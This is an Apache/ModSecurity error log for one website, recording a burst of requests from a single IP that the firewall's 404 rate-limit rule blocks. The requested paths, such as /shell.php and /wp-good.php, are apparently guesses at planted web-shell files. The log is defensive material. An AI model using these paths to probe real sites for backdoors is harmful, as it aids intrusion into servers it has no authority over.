[Wed Apr 15 19:17:59.438466 2026] [:error] [pid 31053:tid 31065] [client 172.161.107.89:28276] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9z5xcEkLCmvF0fjDesCwAAAIk"]
[Wed Apr 15 19:17:59.745215 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:17953] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9z53g-gnM2Ga0cGAAFUgAAARc"]
[Wed Apr 15 19:18:00.001052 2026] [:error] [pid 30958:tid 31032] [client 172.161.107.89:25410] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9z6MeG3wSKTO7NWFGM4AAAANA"]
[Wed Apr 15 19:18:00.220251 2026] [:error] [pid 37370:tid 37378] [client 172.161.107.89:27856] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bmi.php"] [unique_id "ad9z6Hg-gnM2Ga0cGAAFVgAAAQY"]
[Wed Apr 15 19:18:00.511619 2026] [:error] [pid 37370:tid 37393] [client 172.161.107.89:33021] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9z6Hg-gnM2Ga0cGAAFWAAAARU"]
[Wed Apr 15 19:18:00.693308 2026] [:error] [pid 37370:tid 37377] [client 172.161.107.89:31210] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9z6Hg-gnM2Ga0cGAAFWQAAAQU"]
[Wed Apr 15 19:18:01.006846 2026] [:error] [pid 37370:tid 37376] [client 172.161.107.89:26685] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad9z6Xg-gnM2Ga0cGAAFWwAAAQQ"]
[Wed Apr 15 19:18:01.167189 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:42936] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9z6Xg-gnM2Ga0cGAAFXAAAARc"]
[Wed Apr 15 19:18:01.525860 2026] [:error] [pid 30958:tid 31035] [client 172.161.107.89:25103] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad9z6ceG3wSKTO7NWFGM4QAAANM"]
[Wed Apr 15 19:18:01.676568 2026] [:error] [pid 37370:tid 37390] [client 172.161.107.89:16810] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9z6Xg-gnM2Ga0cGAAFXwAAARI"]
[Wed Apr 15 19:18:02.010985 2026] [:error] [pid 37370:tid 37393] [client 172.161.107.89:13534] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad9z6ng-gnM2Ga0cGAAFYAAAARU"]
[Wed Apr 15 19:18:02.147132 2026] [:error] [pid 37370:tid 37394] [client 172.161.107.89:33011] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9z6ng-gnM2Ga0cGAAFYQAAARY"]
[Wed Apr 15 19:18:02.496876 2026] [:error] [pid 37370:tid 37375] [client 172.161.107.89:25469] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad9z6ng-gnM2Ga0cGAAFZAAAAQM"]
[Wed Apr 15 19:18:02.635564 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:48283] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad9z6ng-gnM2Ga0cGAAFZQAAARc"]
[Wed Apr 15 19:18:03.001954 2026] [:error] [pid 30956:tid 30978] [client 172.161.107.89:7735] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad9z60BGUpjaWntNYq1gqQAAABI"]
[Wed Apr 15 19:18:03.114172 2026] [:error] [pid 30957:tid 30992] [client 172.161.107.89:7702] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad9z635gwVEVXHfVSipweQAAAEM"]
[Wed Apr 15 19:18:03.493330 2026] [:error] [pid 31053:tid 31059] [client 172.161.107.89:16797] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad9z6xcEkLCmvF0fjDesDwAAAIM"]
[Wed Apr 15 19:18:03.603859 2026] [:error] [pid 37370:tid 37384] [client 172.161.107.89:13548] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad9z63g-gnM2Ga0cGAAFaAAAAQw"]
[Wed Apr 15 19:18:03.989986 2026] [:error] [pid 31053:tid 31077] [client 172.161.107.89:31127] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad9z6xcEkLCmvF0fjDesEAAAAJU"]
[Wed Apr 15 19:18:04.098473 2026] [:error] [pid 37370:tid 37374] [client 172.161.107.89:31215] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shell.php"] [unique_id "ad9z7Hg-gnM2Ga0cGAAFbQAAAQI"]
[Wed Apr 15 19:18:04.479040 2026] [:error] [pid 37370:tid 37393] [client 172.161.107.89:19156] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad9z7Hg-gnM2Ga0cGAAFcAAAARU"]
[Wed Apr 15 19:18:04.572294 2026] [:error] [pid 37370:tid 37392] [client 172.161.107.89:13558] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad9z7Hg-gnM2Ga0cGAAFcQAAARQ"]
[Wed Apr 15 19:18:04.967301 2026] [:error] [pid 30958:tid 31026] [client 172.161.107.89:30295] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad9z7MeG3wSKTO7NWFGM4wAAAMo"]
[Wed Apr 15 19:18:05.091529 2026] [:error] [pid 30958:tid 31021] [client 172.161.107.89:26718] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad9z7ceG3wSKTO7NWFGM5AAAAMU"]
[Wed Apr 15 19:18:05.437651 2026] [:error] [pid 30958:tid 31039] [client 172.161.107.89:20627] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad9z7ceG3wSKTO7NWFGM5gAAANc"]
[Wed Apr 15 19:18:05.565532 2026] [:error] [pid 31053:tid 31058] [client 172.161.107.89:31215] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad9z7RcEkLCmvF0fjDesEwAAAII"]
[Wed Apr 15 19:18:05.907893 2026] [:error] [pid 30956:tid 30976] [client 172.161.107.89:13513] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad9z7UBGUpjaWntNYq1gqgAAABA"]
[Wed Apr 15 19:18:06.063165 2026] [:error] [pid 31053:tid 31075] [client 172.161.107.89:25413] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dass.php"] [unique_id "ad9z7hcEkLCmvF0fjDesFAAAAJM"]
[Wed Apr 15 19:18:06.404708 2026] [:error] [pid 31053:tid 31056] [client 172.161.107.89:5871] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad9z7hcEkLCmvF0fjDesFQAAAIA"]
[Wed Apr 15 19:18:06.553838 2026] [:error] [pid 31053:tid 31071] [client 172.161.107.89:20620] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad9z7hcEkLCmvF0fjDesFgAAAI8"]
[Wed Apr 15 19:18:06.913898 2026] [:error] [pid 31053:tid 31065] [client 172.161.107.89:31109] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9z7hcEkLCmvF0fjDesGAAAAIk"]
[Wed Apr 15 19:18:07.054639 2026] [:error] [pid 31053:tid 31078] [client 172.161.107.89:19185] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad9z7xcEkLCmvF0fjDesGQAAAJY"]
[Wed Apr 15 19:18:07.392482 2026] [:error] [pid 31053:tid 31079] [client 172.161.107.89:43594] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9z7xcEkLCmvF0fjDesGgAAAJc"]
[Wed Apr 15 19:18:07.528043 2026] [:error] [pid 30956:tid 30974] [client 172.161.107.89:20655] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad9z70BGUpjaWntNYq1gqwAAAA4"]
[Wed Apr 15 19:18:07.903991 2026] [:error] [pid 30956:tid 30963] [client 172.161.107.89:37931] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9z70BGUpjaWntNYq1grAAAAAM"]
[Wed Apr 15 19:18:08.033559 2026] [:error] [pid 30958:tid 31022] [client 172.161.107.89:48289] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboute.php"] [unique_id "ad9z8MeG3wSKTO7NWFGM6AAAAMY"]
[Wed Apr 15 19:18:08.382937 2026] [:error] [pid 37370:tid 37375] [client 172.161.107.89:15787] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9z8Hg-gnM2Ga0cGAAFeAAAAQM"]
[Wed Apr 15 19:18:08.557689 2026] [:error] [pid 30958:tid 31037] [client 172.161.107.89:39235] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9z8MeG3wSKTO7NWFGM6QAAANU"]
[Wed Apr 15 19:18:08.864298 2026] [:error] [pid 31053:tid 31066] [client 172.161.107.89:11048] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9z8BcEkLCmvF0fjDesHQAAAIo"]
[Wed Apr 15 19:18:09.029321 2026] [:error] [pid 30958:tid 31016] [client 172.161.107.89:31131] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9z8ceG3wSKTO7NWFGM6wAAAMA"]
[Wed Apr 15 19:18:09.346475 2026] [:error] [pid 30958:tid 31027] [client 172.161.107.89:8524] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9z8ceG3wSKTO7NWFGM7AAAAMs"]
[Wed Apr 15 19:18:09.511094 2026] [:error] [pid 30958:tid 31034] [client 172.161.107.89:20610] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9z8ceG3wSKTO7NWFGM7QAAANI"]
[Wed Apr 15 19:18:09.829914 2026] [:error] [pid 30958:tid 31040] [client 172.161.107.89:16827] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9z8ceG3wSKTO7NWFGM7gAAANg"]
[Wed Apr 15 19:18:09.997674 2026] [:error] [pid 37370:tid 37386] [client 172.161.107.89:28232] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/press.php"] [unique_id "ad9z8Xg-gnM2Ga0cGAAFewAAAQ4"]
[Wed Apr 15 19:18:10.309357 2026] [:error] [pid 31053:tid 31067] [client 172.161.107.89:16385] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9z8hcEkLCmvF0fjDesHwAAAIs"]
[Wed Apr 15 19:18:10.479552 2026] [:error] [pid 37370:tid 37396] [client 172.161.107.89:65081] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9z8ng-gnM2Ga0cGAAFfAAAARg"]
[Wed Apr 15 19:18:10.783714 2026] [:error] [pid 37370:tid 37384] [client 172.161.107.89:31129] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9z8ng-gnM2Ga0cGAAFfQAAAQw"]
[Wed Apr 15 19:18:10.978946 2026] [:error] [pid 37370:tid 37380] [client 172.161.107.89:19197] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9z8ng-gnM2Ga0cGAAFfgAAAQg"]
[Wed Apr 15 19:18:11.278055 2026] [:error] [pid 30956:tid 30984] [client 172.161.107.89:26688] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9z80BGUpjaWntNYq1grQAAABg"]
[Wed Apr 15 19:18:11.491864 2026] [:error] [pid 31053:tid 31065] [client 172.161.107.89:13516] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9z8xcEkLCmvF0fjDesJQAAAIk"]
[Wed Apr 15 19:18:11.771387 2026] [:error] [pid 30956:tid 30964] [client 172.161.107.89:43609] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9z80BGUpjaWntNYq1grgAAAAQ"]
[Wed Apr 15 19:18:11.964551 2026] [:error] [pid 31053:tid 31068] [client 172.161.107.89:19172] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9z8xcEkLCmvF0fjDesJwAAAIw"]
[Wed Apr 15 19:18:12.241688 2026] [:error] [pid 30956:tid 30960] [client 172.161.107.89:33010] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9z9EBGUpjaWntNYq1grwAAAAA"]
[Wed Apr 15 19:18:12.460209 2026] [:error] [pid 30956:tid 30961] [client 172.161.107.89:27879] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9z9EBGUpjaWntNYq1gsAAAAAE"]
[Wed Apr 15 19:18:12.734297 2026] [:error] [pid 31053:tid 31070] [client 172.161.107.89:10728] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9z9BcEkLCmvF0fjDesKQAAAI4"]
[Wed Apr 15 19:18:12.931968 2026] [:error] [pid 30958:tid 31038] [client 172.161.107.89:39294] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9z9MeG3wSKTO7NWFGM9AAAANY"]
